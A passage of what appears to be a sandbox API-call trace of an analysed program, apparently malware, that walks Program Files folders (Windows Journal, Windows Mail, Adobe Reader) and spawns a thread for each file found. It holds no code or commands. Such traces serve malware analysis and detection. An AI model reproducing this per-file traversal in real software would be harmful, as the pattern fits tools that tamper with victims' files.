_Dest=0x5e462c8, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.696] wcscat (in: _Dest=0x5e462c8, _Source="Seyes.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp" [0048.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e462c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0048.697] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5739f06, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5739f06, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48795fdf, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1575a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.jtp", cAlternateFileName="")) returned 1 [0048.697] wcscmp (_String1="Shorthand.jtp", _String2=".") returned 1 [0048.697] wcscmp (_String1="Shorthand.jtp", _String2="..") returned 1 [0048.697] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400c98 [0048.697] wcscpy (in: _Dest=0x400c98, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.697] wcscat (in: _Dest=0x400c98, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.697] wcscat (in: _Dest=0x400c98, _Source="Shorthand.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp" [0048.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8 [0048.699] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 1 [0048.699] wcscmp (_String1="To_Do_List.jtp", _String2=".") returned 1 [0048.699] wcscmp (_String1="To_Do_List.jtp", _String2="..") returned 1 [0048.699] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x3ffc98 [0048.699] wcscpy (in: _Dest=0x3ffc98, _Source="C:\\Program Files\\Windows Journal\\Templates" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates") returned="C:\\Program Files\\Windows Journal\\Templates" [0048.699] wcscat (in: _Dest=0x3ffc98, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\") returned="C:\\Program Files\\Windows Journal\\Templates\\" [0048.699] wcscat (in: _Dest=0x3ffc98, _Source="To_Do_List.jtp" | out: _Dest="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp") returned="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" [0048.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x3ffc98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f4 [0048.700] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5760063, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5760063, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x48e21c07, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7f5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.jtp", cAlternateFileName="")) returned 0 [0048.700] FindClose (in: hFindFile=0x440420 | out: hFindFile=0x440420) returned 1 [0048.701] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424d18) returned 1 [0048.701] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445bd8) returned 1 [0048.701] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x41be58) returned 1 Thread: id = 125 os_tid = 0xbf4 [0046.006] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x414518 [0046.006] wcscpy (in: _Dest=0x414518, _Source="C:\\Program Files\\Windows Mail\\en-US" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US") returned="C:\\Program Files\\Windows Mail\\en-US" [0046.006] wcscat (in: _Dest=0x414518, _Source="\\" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US\\") returned="C:\\Program Files\\Windows Mail\\en-US\\" [0046.007] wcscat (in: _Dest=0x414518, _Source="*" | out: _Dest="C:\\Program Files\\Windows Mail\\en-US\\*") returned="C:\\Program Files\\Windows Mail\\en-US\\*" [0046.007] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424f80 [0046.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0e8 [0046.007] wcscmp (_String1=".", _String2=".") returned 0 [0046.007] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.007] wcscmp (_String1="..", _String2=".") returned 1 [0046.007] wcscmp (_String1="..", _String2="..") returned 0 [0046.007] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0046.007] wcscmp (_String1="msoeres.dll.mui", _String2=".") returned 1 [0046.007] wcscmp (_String1="msoeres.dll.mui", _String2="..") returned 1 [0046.007] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0046.007] wcscmp (_String1="WinMail.exe.mui", _String2=".") returned 1 [0046.007] wcscmp (_String1="WinMail.exe.mui", _String2="..") returned 1 [0046.007] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcd37ad, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcd37ad, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0046.007] FindClose (in: hFindFile=0x40a0e8 | out: hFindFile=0x40a0e8) returned 1 [0046.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424f80) returned 1 [0046.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414518) returned 1 [0046.007] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444b40) returned 1 Thread: id = 126 os_tid = 0xbf8 [0046.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a310 [0046.008] wcscpy (in: _Dest=0x44a310, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0046.008] wcscat (in: _Dest=0x44a310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0046.008] wcscat (in: _Dest=0x44a310, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*" [0046.008] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424f80 [0046.008] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\*", lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a0e8 [0046.008] wcscmp (_String1=".", _String2=".") returned 0 [0046.009] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.758] wcscmp (_String1="..", _String2=".") returned 1 [0046.758] wcscmp (_String1="..", _String2="..") returned 0 [0046.758] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4268, dwReserved0=0x0, dwReserved1=0x0, cFileName="Benioku.htm", cAlternateFileName="")) returned 1 [0046.758] wcscmp (_String1="Benioku.htm", _String2=".") returned 1 [0046.758] wcscmp (_String1="Benioku.htm", _String2="..") returned 1 [0046.758] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x419130 [0046.758] wcscpy (in: _Dest=0x419130, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0046.758] wcscat (in: _Dest=0x419130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0046.758] wcscat (in: _Dest=0x419130, _Source="Benioku.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" [0048.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540 [0048.392] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berime.htm", cAlternateFileName="")) returned 1 [0048.392] wcscmp (_String1="Berime.htm", _String2=".") returned 1 [0048.392] wcscmp (_String1="Berime.htm", _String2="..") returned 1 [0048.392] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x4217a8 [0048.392] wcscpy (in: _Dest=0x4217a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.392] wcscat (in: _Dest=0x4217a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.393] wcscat (in: _Dest=0x4217a8, _Source="Berime.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" [0048.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4217a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0048.394] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Esl", cAlternateFileName="")) returned 1 [0048.394] wcscmp (_String1="Esl", _String2=".") returned 1 [0048.394] wcscmp (_String1="Esl", _String2="..") returned 1 [0048.394] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x48d048 [0048.394] wcscpy (in: _Dest=0x48d048, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.394] wcscat (in: _Dest=0x48d048, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.394] wcscat (in: _Dest=0x48d048, _Source="Esl" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" [0048.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x48d048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0048.395] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4288, dwReserved0=0x0, dwReserved1=0x0, cFileName="IrakHau.htm", cAlternateFileName="")) returned 1 [0048.395] wcscmp (_String1="IrakHau.htm", _String2=".") returned 1 [0048.395] wcscmp (_String1="IrakHau.htm", _String2="..") returned 1 [0048.395] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x419658 [0048.395] wcscpy (in: _Dest=0x419658, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.395] wcscat (in: _Dest=0x419658, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.395] wcscat (in: _Dest=0x419658, _Source="IrakHau.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" [0048.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0048.396] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x423b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leame.htm", cAlternateFileName="")) returned 1 [0048.396] wcscmp (_String1="Leame.htm", _String2=".") returned 1 [0048.396] wcscmp (_String1="Leame.htm", _String2="..") returned 1 [0048.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x421738 [0048.396] wcscpy (in: _Dest=0x421738, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.397] wcscat (in: _Dest=0x421738, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.397] wcscat (in: _Dest=0x421738, _Source="Leame.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leame.htm" [0048.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0048.399] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeesMij.htm", cAlternateFileName="")) returned 1 [0048.399] wcscmp (_String1="LeesMij.htm", _String2=".") returned 1 [0048.399] wcscmp (_String1="LeesMij.htm", _String2="..") returned 1 [0048.399] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4195e0 [0048.399] wcscpy (in: _Dest=0x4195e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.399] wcscat (in: _Dest=0x4195e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.399] wcscat (in: _Dest=0x4195e0, _Source="LeesMij.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeesMij.htm" [0048.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4195e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0048.400] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4289, dwReserved0=0x0, dwReserved1=0x0, cFileName="Leggimi.htm", cAlternateFileName="")) returned 1 [0048.400] wcscmp (_String1="Leggimi.htm", _String2=".") returned 1 [0048.400] wcscmp (_String1="Leggimi.htm", _String2="..") returned 1 [0048.400] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4194f0 [0048.401] wcscpy (in: _Dest=0x4194f0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.401] wcscat (in: _Dest=0x4194f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.401] wcscat (in: _Dest=0x4194f0, _Source="Leggimi.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Leggimi.htm" [0048.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4194f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0048.402] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeiaMe.htm", cAlternateFileName="")) returned 1 [0048.402] wcscmp (_String1="LeiaMe.htm", _String2=".") returned 1 [0048.402] wcscmp (_String1="LeiaMe.htm", _String2="..") returned 1 [0048.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x421578 [0048.402] wcscpy (in: _Dest=0x421578, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.402] wcscat (in: _Dest=0x421578, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.402] wcscat (in: _Dest=0x421578, _Source="LeiaMe.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" [0048.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x421578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0048.403] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Liesmich.htm", cAlternateFileName="")) returned 1 [0048.403] wcscmp (_String1="Liesmich.htm", _String2=".") returned 1 [0048.403] wcscmp (_String1="Liesmich.htm", _String2="..") returned 1 [0048.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x419568 [0048.403] wcscpy (in: _Dest=0x419568, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.403] wcscat (in: _Dest=0x419568, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0048.403] wcscat (in: _Dest=0x419568, _Source="Liesmich.htm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" [0048.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x419568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c [0048.404] FindNextFileW (in: hFindFile=0x40a0e8, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lisezmoi.htm", cAlternateFileName="")) returned 1 [0048.404] wcscmp (_String1="Lisezmoi.htm", _String2=".") returned 1 [0048.404] wcscmp (_String1="Lisezmoi.htm", _String2="..") returned 1 [0048.404] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x419388 [0048.404] wcscpy (in: _Dest=0x419388, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0" [0048.404] wcscat (in: _Dest=0x419388, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files 